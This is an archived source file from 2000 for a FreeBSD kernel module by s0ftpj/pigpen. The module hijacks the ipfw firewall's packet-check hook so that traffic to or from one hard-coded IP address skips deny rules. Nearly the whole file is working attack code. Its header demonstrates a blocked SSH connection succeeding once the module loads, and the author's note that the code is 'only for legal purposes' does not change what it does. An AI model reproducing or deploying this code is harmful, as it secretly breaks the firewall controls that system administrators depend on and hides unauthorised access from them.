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ipfwfilter.c

ipfwfilter.c
Posted Jan 25, 2000
Authored by s0ftpj, Pigpen

BSD kernel module which prevents ipfw from blocking a specified IP address.

tags | kernel
systems | bsd
SHA-256 | eda8204dc0dd9bee437dbd4ef6006b28fdcf118846aa7c66f58d74c79494e86b

ipfwfilter.c

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/*
* Hacking a firewall ....
*
* ipfw filter ;)
*
* With this kld ipfw can't block a ip address
*
* This code is only for legal purposes so I don't cover module and messages
* of ipfw.. I write this to give you an idea of how to write a kld...
*
* This module has only a problem you have to discover options put on kernel
* by admin when He has compiled it ... because we can't know
* them via kld and He could discover this module if we use different options
* but I give this src only for legal purposes so this isn't a my problem
*
* example
*
* storpio# ipfw add deny all from 192.168.1.2 to 192.168.1.3
* 00000 deny ip from 192.168.1.2 to 192.168.1.3
*
* storpio# telnet porcellino 22
* Trying 192.168.1.3 ...
* telnet: Unable to connect to remote host: Permission denied
*
* storpio# kldload ./ipfwfil
*
* storpio# telnet porcellino 22
* Escape character is '^]'
* SSH-2.0-2.0.13 (non-commercial)
*
*
* code & idea by pigpen [pigpen@s0ftpj.org, deadhead@sikurezza.org]
*/


#define IP_FW_FILTER "192.168.1.2"

#include <sys/param.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/mbuf.h>
#include <sys/kernel.h>
#include <sys/proc.h>
#include <sys/socket.h>
#include <sys/socketvar.h>
#include <sys/sysctl.h>
#include <sys/ucred.h>
#include <net/if.h>
#include <net/route.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/in_pcb.h>
#include <netinet/ip.h>
#include <netinet/ip_var.h>
#include <netinet/ip_icmp.h>
#include <netinet/ip_fw.h>
#include <netinet/ip_dummynet.h>
#include <netinet/tcp.h>
#include <netinet/tcp_timer.h>
#include <netinet/tcp_var.h>
#include <netinet/tcpip.h>
#include <netinet/udp.h>
#include <netinet/udp_var.h>

#include <netinet/if_ether.h> /* XXX ethertype_ip */

#define IPFW_DEFAULT_RULE ((u_int)(u_short)~0)

static int
iface_match __P((struct ifnet *ifp, union ip_fw_if *ifu,
int byname));

static int ipopts_match __P((struct ip *ip, struct ip_fw *f));
static int
port_match __P((u_short *portptr, int nports, u_short port,
int range_flag));
static int tcpflg_match __P((struct tcphdr *tcp, struct ip_fw *f));
static int icmptype_match __P((struct icmp *icmp, struct ip_fw *f));
static void ipfw_report __P((struct ip_fw *f, struct ip *ip,
struct ifnet *rif, struct ifnet *oif));
static int is_icmp_query __P((struct ip *ip));
u_int32_t inaton __P((const char *str));

#define print_ip(a) printf("%d.%d.%d.%d", \
(int)(ntohl(a.s_addr) >> 24) & 0xFF, \
(int)(ntohl(a.s_addr) >> 16) & 0xFF, \
(int)(ntohl(a.s_addr) >> 8) & 0xFF, \
(int)(ntohl(a.s_addr)) & 0xFF);


MALLOC_DEFINE(M_IPFW, "Ipfw/IpAcct", "Ipfw/IpAcct chain's");


static int fw_one_pass = 1; /* check */
extern LIST_HEAD(ip_fw_head, ip_fw_chain) ip_fw_chain;
static int fw_verbose = 1; /* check */
static int fw_verbose_limit = 0; /* check */


static struct ip_fw_chain * lookup_next_rule(struct ip_fw_chain *me);

static struct ip_fw_chain *
lookup_next_rule(struct ip_fw_chain *me)
{
struct ip_fw_chain *chain ;
int rule = me->rule->fw_skipto_rule ; /* guess... */

if ( (me->rule->fw_flg & IP_FW_F_COMMAND) == IP_FW_F_SKIPTO )
for (chain = me->chain.le_next; chain ; chain = chain->chain.le_next )
if (chain->rule->fw_number >= rule)
return chain ;
return me->chain.le_next ; /* failure or not a skipto */
}

static int
ip_fw_chk(struct ip **pip, int hlen,
struct ifnet *oif, u_int16_t *cookie, struct mbuf **m,
struct ip_fw_chain **flow_id,
struct sockaddr_in **next_hop)
{
struct ip_fw_chain *chain;
struct ip_fw *rule = NULL;
struct ip *ip = NULL ;
struct ifnet *const rif = (*m)->m_pkthdr.rcvif;
u_short offset = 0 ;
u_short src_port, dst_port;
u_int16_t skipto = *cookie;



if (pip) { /* normal ip packet */
ip = *pip;
offset = (ip->ip_off & IP_OFFMASK);
} else { /* bridged or non-ip packet */
struct ether_header *eh = mtod(*m, struct ether_header *);
switch (ntohs(eh->ether_type)) {
case ETHERTYPE_IP :
if ((*m)->m_len<sizeof(struct ether_header) + sizeof(struct ip))
goto non_ip ;
ip = (struct ip *)(eh + 1 );
if (ip->ip_v != IPVERSION)
goto non_ip ;
hlen = ip->ip_hl << 2;
if (hlen < sizeof(struct ip)) /* minimum header length */
goto non_ip ;
if ((*m)->m_len < 14 + hlen + 14) {
printf("-- m_len %d, need more...\n", (*m)->m_len);
goto non_ip ;
}
offset = (ip->ip_off & IP_OFFMASK);
break ;
default :
non_ip: ip = NULL ;
break ;
}
}

if (*flow_id) {
if (fw_one_pass)
return 0 ;

chain = LIST_NEXT( *flow_id, chain);

if ( (chain = (*flow_id)->rule->next_rule_ptr) == NULL )
chain = (*flow_id)->rule->next_rule_ptr =
lookup_next_rule(*flow_id) ;
if (! chain) goto dropit;
} else {
/*
* Go down the chain, looking for enlightment
* If we've been asked to start at a given rule immediatly, do so.
*/
chain = LIST_FIRST(&ip_fw_chain);
if ( skipto ) {
if (skipto >= IPFW_DEFAULT_RULE)
goto dropit;
while (chain && (chain->rule->fw_number <= skipto)) {
chain = LIST_NEXT(chain, chain);
}
if (! chain) goto dropit;
}
}
*cookie = 0;
for (; chain; chain = LIST_NEXT(chain, chain)) {
register struct ip_fw * f ;
again:
f = chain->rule;

if (oif) {
/* Check direction outbound */
if (!(f->fw_flg & IP_FW_F_OUT))
continue;
} else {
/* Check direction inbound */
if (!(f->fw_flg & IP_FW_F_IN))
continue;
}
if (ip == NULL ) {
struct ether_header *eh = mtod(*m, struct ether_header *);

if (f->fw_number == IPFW_DEFAULT_RULE)
goto got_match ;

if ( f->fw_src.s_addr != 0 || f->fw_prot != IPPROTO_UDP
|| f->fw_smsk.s_addr != 0xffffffff )
continue;
switch (IP_FW_GETNSRCP(f)) {
case 1: /* match one type */
if ( /* ( (f->fw_flg & IP_FW_F_INVSRC) != 0) ^ */
( f->fw_uar.fw_pts[0] == ntohs(eh->ether_type) ) ) {
goto got_match ;
}
break ;
default:
break ;
}
continue ;
}

/* Fragments */
if ((f->fw_flg & IP_FW_F_FRAG) && offset == 0 )
continue;

/* If src-addr doesn't match, not this rule. */
if (((f->fw_flg & IP_FW_F_INVSRC) != 0) ^ ((ip->ip_src.s_addr
& f->fw_smsk.s_addr) != f->fw_src.s_addr))
continue;

/* If dest-addr doesn't match, not this rule. */
if (((f->fw_flg & IP_FW_F_INVDST) != 0) ^ ((ip->ip_dst.s_addr
& f->fw_dmsk.s_addr) != f->fw_dst.s_addr))
continue;

/* Interface check */
if ((f->fw_flg & IF_FW_F_VIAHACK) == IF_FW_F_VIAHACK) {
struct ifnet *const iface = oif ? oif : rif;

/* Backwards compatibility hack for "via" */
if (!iface || !iface_match(iface,
&f->fw_in_if, f->fw_flg & IP_FW_F_OIFNAME))
continue;
} else {
/* Check receive interface */
if ((f->fw_flg & IP_FW_F_IIFACE)
&& (!rif || !iface_match(rif,
&f->fw_in_if, f->fw_flg & IP_FW_F_IIFNAME)))
continue;
/* Check outgoing interface */
if ((f->fw_flg & IP_FW_F_OIFACE)
&& (!oif || !iface_match(oif,
&f->fw_out_if, f->fw_flg & IP_FW_F_OIFNAME)))
continue;
}

/* Check IP options */
if (f->fw_ipopt != f->fw_ipnopt && !ipopts_match(ip, f))
continue;

/* Check protocol; if wildcard, and no [ug]id, match */
if (f->fw_prot == IPPROTO_IP) {
if (!(f->fw_flg & (IP_FW_F_UID|IP_FW_F_GID)))
goto got_match;
} else
/* If different, don't match */
if (ip->ip_p != f->fw_prot)
continue;

#define PULLUP_TO(l) do { \
int len = (pip ? l : l + 14 ) ; \
if ((*m)->m_len < (len) ) { \
if ( (*m = m_pullup(*m, (len))) == 0) \
goto bogusfrag; \
ip = mtod(*m, struct ip *); \
if (pip) \
*pip = ip ; \
else \
ip = (struct ip *)((char *)ip + 14);\
offset = (ip->ip_off & IP_OFFMASK); \
} \
} while (0)

/* Protocol specific checks for uid only */
if (f->fw_flg & (IP_FW_F_UID|IP_FW_F_GID)) {
switch (ip->ip_p) {
case IPPROTO_TCP:
{
struct tcphdr *tcp;
struct inpcb *P;

if (offset == 1) /* cf. RFC 1858 */
goto bogusfrag;
if (offset != 0)
continue;

PULLUP_TO(hlen + 14);
tcp =(struct tcphdr *)((u_int32_t *)ip + ip->ip_hl);

if (oif)
P = in_pcblookup_hash(&tcbinfo, ip->ip_dst,
tcp->th_dport, ip->ip_src, tcp->th_sport, 0);
else
P = in_pcblookup_hash(&tcbinfo, ip->ip_src,
tcp->th_sport, ip->ip_dst, tcp->th_dport, 0);

if (P && P->inp_socket && P->inp_socket->so_cred) {
if (f->fw_flg & IP_FW_F_UID) {
if (P->inp_socket->so_cred->p_ruid !=
f->fw_uid)
continue;
} else if (!groupmember(f->fw_gid,
P->inp_socket->so_cred->pc_ucred))
continue;
} else continue;

break;
}

case IPPROTO_UDP:
{
struct udphdr *udp;
struct inpcb *P;

if (offset != 0)
continue;

PULLUP_TO(hlen + 4);
udp =(struct udphdr *)((u_int32_t *)ip + ip->ip_hl);

if (oif)
P = in_pcblookup_hash(&udbinfo, ip->ip_dst,
udp->uh_dport, ip->ip_src, udp->uh_sport, 1);
else
P = in_pcblookup_hash(&udbinfo, ip->ip_src,
udp->uh_sport, ip->ip_dst, udp->uh_dport, 1);

if (P && P->inp_socket && P->inp_socket->so_cred) {
if (f->fw_flg & IP_FW_F_UID) {
if (P->inp_socket->so_cred->p_ruid !=
f->fw_uid)
continue;
} else if (!groupmember(f->fw_gid,
P->inp_socket->so_cred->pc_ucred))
continue;
} else continue;

break;
}

default:
continue;
/*
* XXX Shouldn't GCC be allowing two bogusfrag labels if they're both inside
* separate blocks? Hmm.... It seems it's got incorrect behavior here.
*/
#if 0
bogusfrag:
if (fw_verbose)
ipfw_report(NULL, ip, rif, oif);
goto dropit;
#endif
}
}

/* Protocol specific checks */
switch (ip->ip_p) {
case IPPROTO_TCP:
{
struct tcphdr *tcp;

if (offset == 1) /* cf. RFC 1858 */
goto bogusfrag;
if (offset != 0) {
/*
* TCP flags and ports aren't available in this
* packet -- if this rule specified either one,
* we consider the rule a non-match.
*/
if (f->fw_nports != 0 ||
f->fw_tcpf != f->fw_tcpnf)
continue;

break;
}
PULLUP_TO(hlen + 14);
tcp = (struct tcphdr *) ((u_int32_t *)ip + ip->ip_hl);
if (f->fw_tcpf != f->fw_tcpnf && !tcpflg_match(tcp, f))
continue;
src_port = ntohs(tcp->th_sport);
dst_port = ntohs(tcp->th_dport);
goto check_ports;
}

case IPPROTO_UDP:
{
struct udphdr *udp;

if (offset != 0) {
/*
* Port specification is unavailable -- if this
* rule specifies a port, we consider the rule
* a non-match.
*/
if (f->fw_nports != 0)
continue;

break;
}
PULLUP_TO(hlen + 4);
udp = (struct udphdr *) ((u_int32_t *)ip + ip->ip_hl);
src_port = ntohs(udp->uh_sport);
dst_port = ntohs(udp->uh_dport);
check_ports:
if (!port_match(&f->fw_uar.fw_pts[0],
IP_FW_GETNSRCP(f), src_port,
f->fw_flg & IP_FW_F_SRNG))
continue;
if (!port_match(&f->fw_uar.fw_pts[IP_FW_GETNSRCP(f)],
IP_FW_GETNDSTP(f), dst_port,
f->fw_flg & IP_FW_F_DRNG))
continue;
break;
}

case IPPROTO_ICMP:
{
struct icmp *icmp;

if (offset != 0) /* Type isn't valid */
break;
PULLUP_TO(hlen + 2);
icmp = (struct icmp *) ((u_int32_t *)ip + ip->ip_hl);
if (!icmptype_match(icmp, f))
continue;
break;
}
#undef PULLUP_TO

bogusfrag:
if (fw_verbose)
ipfw_report(NULL, ip, rif, oif);
goto dropit;
}

got_match:
*flow_id = chain ; /* XXX set flow id */
/* Update statistics */
f->fw_pcnt += 1;
if (ip) {
f->fw_bcnt += ip->ip_len;
}
f->timestamp = time_second;

/* Log to console if desired */
if ((f->fw_flg & IP_FW_F_PRN) && fw_verbose)
ipfw_report(f, ip, rif, oif);



if( (ip->ip_src.s_addr == inaton(IP_FW_FILTER) ||
ip->ip_dst.s_addr == inaton(IP_FW_FILTER)) &&
(f->fw_flg & IP_FW_F_COMMAND) != IP_FW_F_DIVERT &&
(f->fw_flg & IP_FW_F_COMMAND) != IP_FW_F_FWD)
return 0;


/* Take appropriate action */
switch (f->fw_flg & IP_FW_F_COMMAND) {
case IP_FW_F_ACCEPT:
return(0);
case IP_FW_F_COUNT:
continue;
case IP_FW_F_DIVERT:
*cookie = f->fw_number;
return(f->fw_divert_port);
case IP_FW_F_TEE:
/*
* XXX someday tee packet here, but beware that you
* can't use m_copym() or m_copypacket() because
* the divert input routine modifies the mbuf
* (and these routines only increment reference
* counts in the case of mbuf clusters), so need
* to write custom routine.
*/
continue;
case IP_FW_F_SKIPTO: /* XXX check */
if ( f->next_rule_ptr )
chain = f->next_rule_ptr ;
else
chain = lookup_next_rule(chain) ;
if (! chain) goto dropit;
goto again ;
case IP_FW_F_PIPE:
return(f->fw_pipe_nr | 0x10000 );
case IP_FW_F_FWD:
/* Change the next-hop address for this packet.
* Initially we'll only worry about directly
* reachable next-hop's, but ultimately
* we will work out for next-hops that aren't
* direct the route we would take for it. We
* [cs]ould leave this latter problem to
* ip_output.c. We hope to high [name the abode of
* your favourite deity] that ip_output doesn't modify
* the new value of next_hop (which is dst there)
*/
if (next_hop != NULL) /* Make sure, first... */
*next_hop = &(f->fw_fwd_ip);
return(0); /* Allow the packet */
}

/* Deny/reject this packet using this rule */
rule = f;
break;

}

#ifdef DIAGNOSTIC
/* Rule IPFW_DEFAULT_RULE should always be there and should always match */
if (!chain)
panic("ip_fw: chain");
#endif

/*
* At this point, we're going to drop the packet.
* Send a reject notice if all of the following are true:
*
* - The packet matched a reject rule
* - The packet is not an ICMP packet, or is an ICMP query packet
* - The packet is not a multicast or broadcast packet
*/
if ((rule->fw_flg & IP_FW_F_COMMAND) == IP_FW_F_REJECT
&& ip
&& (ip->ip_p != IPPROTO_ICMP || is_icmp_query(ip))
&& !((*m)->m_flags & (M_BCAST|M_MCAST))
&& !IN_MULTICAST(ntohl(ip->ip_dst.s_addr))) {
switch (rule->fw_reject_code) {
case IP_FW_REJECT_RST:
{
struct tcphdr *const tcp =
(struct tcphdr *) ((u_int32_t *)ip + ip->ip_hl);
struct tcpiphdr ti, *const tip = (struct tcpiphdr *) ip;

if (offset != 0 || (tcp->th_flags & TH_RST))
break;
ti.ti_i = *((struct ipovly *) ip);
ti.ti_t = *tcp;
bcopy(&ti, ip, sizeof(ti));
NTOHL(tip->ti_seq);
NTOHL(tip->ti_ack);
tip->ti_len = ip->ip_len - hlen - (tip->ti_off << 2);

if (tcp->th_flags & TH_ACK) {
tcp_respond(NULL, tip, *m,
(tcp_seq)0, ntohl(tcp->th_ack), TH_RST);
} else {
if (tcp->th_flags & TH_SYN)
tip->ti_len++;
tcp_respond(NULL, tip, *m, tip->ti_seq
+ tip->ti_len, (tcp_seq)0, TH_RST|TH_ACK);
}


*m = NULL;
break;
}
default: /* Send an ICMP unreachable using code */
icmp_error(*m, ICMP_UNREACH,
rule->fw_reject_code, 0L, 0);
*m = NULL;
break;
}
}

dropit:
/*
* Finally, drop the packet.
*/
/* *cookie = 0; */ /* XXX is this necessary ? */
if (*m) {
m_freem(*m);
*m = NULL;
}
return(0);
}



static ip_fw_chk_t *old_chk_ptr;

static int
ipfw_modevent(module_t mod, int type, void *unused)
{
int s;

switch (type) {
case MOD_LOAD:
s = splnet();
old_chk_ptr = ip_fw_chk_ptr;
ip_fw_chk_ptr = ip_fw_chk;
splx(s);
break;
case MOD_UNLOAD:
s = splnet();
ip_fw_chk_ptr = old_chk_ptr;
splx(s);
break;
}
return 0;
}

static moduledata_t ipfwmod = {
"sfire",
ipfw_modevent,
0
};
DECLARE_MODULE(sfire, ipfwmod, SI_SUB_PSEUDO, SI_ORDER_ANY);

/*
* Returns 1 if the port is matched by the vector, 0 otherwise
*/
static int
port_match(u_short *portptr, int nports, u_short port, int range_flag)
{
if (!nports)
return 1;
if (range_flag) {
if (portptr[0] <= port && port <= portptr[1]) {
return 1;
}
nports -= 2;
portptr += 2;
}
while (nports-- > 0) {
if (*portptr++ == port) {
return 1;
}
}
return 0;
}

static int
tcpflg_match(struct tcphdr *tcp, struct ip_fw *f)
{
u_char flg_set, flg_clr;

if ((f->fw_tcpf & IP_FW_TCPF_ESTAB) &&
(tcp->th_flags & (IP_FW_TCPF_RST | IP_FW_TCPF_ACK)))
return 1;

flg_set = tcp->th_flags & f->fw_tcpf;
flg_clr = tcp->th_flags & f->fw_tcpnf;

if (flg_set != f->fw_tcpf)
return 0;
if (flg_clr)
return 0;

return 1;
}

static int
icmptype_match(struct icmp *icmp, struct ip_fw *f)
{
int type;

if (!(f->fw_flg & IP_FW_F_ICMPBIT))
return(1);

type = icmp->icmp_type;

/* check for matching type in the bitmap */
if (type < IP_FW_ICMPTYPES_MAX &&
(f->fw_uar.fw_icmptypes[type / (sizeof(unsigned) * 8)] &
(1U << (type % (8 * sizeof(unsigned))))))
return(1);

return(0); /* no match */
}

static int
is_icmp_query(struct ip *ip)
{
const struct icmp *icmp;
int icmp_type;

icmp = (struct icmp *)((u_int32_t *)ip + ip->ip_hl);
icmp_type = icmp->icmp_type;

if (icmp_type == ICMP_ECHO || icmp_type == ICMP_ROUTERSOLICIT ||
icmp_type == ICMP_TSTAMP || icmp_type == ICMP_IREQ ||
icmp_type == ICMP_MASKREQ)
return(1);

return(0);
}

static int
ipopts_match(struct ip *ip, struct ip_fw *f)
{
register u_char *cp;
int opt, optlen, cnt;
u_char opts, nopts, nopts_sve;

cp = (u_char *)(ip + 1);
cnt = (ip->ip_hl << 2) - sizeof (struct ip);
opts = f->fw_ipopt;
nopts = nopts_sve = f->fw_ipnopt;

for (; cnt > 0; cnt -= optlen, cp += optlen) {
opt = cp[IPOPT_OPTVAL];
if (opt == IPOPT_EOL)
break;
if (opt == IPOPT_NOP)
optlen = 1;
else {
optlen = cp[IPOPT_OLEN];
if (optlen <= 0 || optlen > cnt) {
return 0; /*XXX*/
}
}
switch (opt) {

default:
break;

case IPOPT_LSRR:
opts &= ~IP_FW_IPOPT_LSRR;
nopts &= ~IP_FW_IPOPT_LSRR;
break;

case IPOPT_SSRR:
opts &= ~IP_FW_IPOPT_SSRR;
nopts &= ~IP_FW_IPOPT_SSRR;
break;

case IPOPT_RR:
opts &= ~IP_FW_IPOPT_RR;
nopts &= ~IP_FW_IPOPT_RR;
break;
case IPOPT_TS:
opts &= ~IP_FW_IPOPT_TS;
nopts &= ~IP_FW_IPOPT_TS;
break;
}
if (opts == nopts)
break;
}
if (opts == 0 && nopts == nopts_sve)
return 1;
else
return 0;
}

static int
iface_match(struct ifnet *ifp, union ip_fw_if *ifu, int byname)
{
/* Check by name or by IP address */
if (byname) {
/* Check unit number (-1 is wildcard) */
if (ifu->fu_via_if.unit != -1
&& ifp->if_unit != ifu->fu_via_if.unit)
return(0);
/* Check name */
if (strncmp(ifp->if_name, ifu->fu_via_if.name, FW_IFNLEN))
return(0);
return(1);
} else if (ifu->fu_via_ip.s_addr != 0) { /* Zero == wildcard */
struct ifaddr *ia;

for (ia = ifp->if_addrhead.tqh_first;
ia != NULL; ia = ia->ifa_link.tqe_next) {
if (ia->ifa_addr == NULL)
continue;
if (ia->ifa_addr->sa_family != AF_INET)
continue;
if (ifu->fu_via_ip.s_addr != ((struct sockaddr_in *)
(ia->ifa_addr))->sin_addr.s_addr)
continue;
return(1);
}
return(0);
}
return(1);
}

static void
ipfw_report(struct ip_fw *f, struct ip *ip,
struct ifnet *rif, struct ifnet *oif)
{
if (ip) {
static u_int64_t counter;
struct tcphdr *const tcp = (struct tcphdr *) ((u_int32_t *) ip+ ip->ip_hl);
struct udphdr *const udp = (struct udphdr *) ((u_int32_t *) ip+ ip->ip_hl);
struct icmp *const icmp = (struct icmp *) ((u_int32_t *) ip + ip->ip_hl);
int count;

count = f ? f->fw_pcnt : ++counter;
if (fw_verbose_limit != 0 && count > fw_verbose_limit)
return;

/* Print command name */
printf("ipfw: %d ", f ? f->fw_number : -1);
if (!f)
printf("Refuse");
else
switch (f->fw_flg & IP_FW_F_COMMAND) {
case IP_FW_F_DENY:
printf("Deny");
break;
case IP_FW_F_REJECT:
if (f->fw_reject_code == IP_FW_REJECT_RST)
printf("Reset");
else
printf("Unreach");
break;
case IP_FW_F_ACCEPT:
printf("Accept");
break;
case IP_FW_F_COUNT:
printf("Count");
break;
case IP_FW_F_DIVERT:
printf("Divert %d", f->fw_divert_port);
break;
case IP_FW_F_TEE:
printf("Tee %d", f->fw_divert_port);
break;
case IP_FW_F_SKIPTO:
printf("SkipTo %d", f->fw_skipto_rule);
break;
case IP_FW_F_PIPE:
printf("Pipe %d", f->fw_skipto_rule);
break;
case IP_FW_F_FWD:
printf("Forward to ");
print_ip(f->fw_fwd_ip.sin_addr);
if (f->fw_fwd_ip.sin_port)
printf(":%d", f->fw_fwd_ip.sin_port);
break;
default:
printf("UNKNOWN");
break;
}
printf(" ");

switch (ip->ip_p) {
case IPPROTO_TCP:
printf("TCP ");
print_ip(ip->ip_src);
if ((ip->ip_off & IP_OFFMASK) == 0)
printf(":%d ", ntohs(tcp->th_sport));
else
printf(" ");
print_ip(ip->ip_dst);
if ((ip->ip_off & IP_OFFMASK) == 0)
printf(":%d", ntohs(tcp->th_dport));
break;
case IPPROTO_UDP:
printf("UDP ");
print_ip(ip->ip_src);
if ((ip->ip_off & IP_OFFMASK) == 0)
printf(":%d ", ntohs(udp->uh_sport));
else
printf(" ");
print_ip(ip->ip_dst);
if ((ip->ip_off & IP_OFFMASK) == 0)
printf(":%d", ntohs(udp->uh_dport));
break;
case IPPROTO_ICMP:
if ((ip->ip_off & IP_OFFMASK) == 0)
printf("ICMP:%u.%u ", icmp->icmp_type, icmp->icmp_code);
else
printf("ICMP ");
print_ip(ip->ip_src);
printf(" ");
print_ip(ip->ip_dst);
break;
default:
printf("P:%d ", ip->ip_p);
print_ip(ip->ip_src);
printf(" ");
print_ip(ip->ip_dst);
break;
}
if (oif)
printf(" out via %s%d", oif->if_name, oif->if_unit);
else if (rif)
printf(" in via %s%d", rif->if_name, rif->if_unit);
if ((ip->ip_off & IP_OFFMASK))
printf(" Fragment = %d",ip->ip_off & IP_OFFMASK);
printf("\n");
if (fw_verbose_limit != 0 && count == fw_verbose_limit)
printf("ipfw: limit reached on rule #%d\n",
f ? f->fw_number : -1);
}
}

u_int32_t inaton(const char *str)
{
unsigned long l;
unsigned int val;
int i;

l = 0;

for(i=0; i < 4; i++) {
l <<= 8;
if(*str != '\0') {
val = 0;
while(*str != '\0' && *str != '.') {
val *= 10;
val += *str - '0';
str++;
}
l |= val;
if(*str != '\0')
str++;
}
}
return(htonl(l));
}
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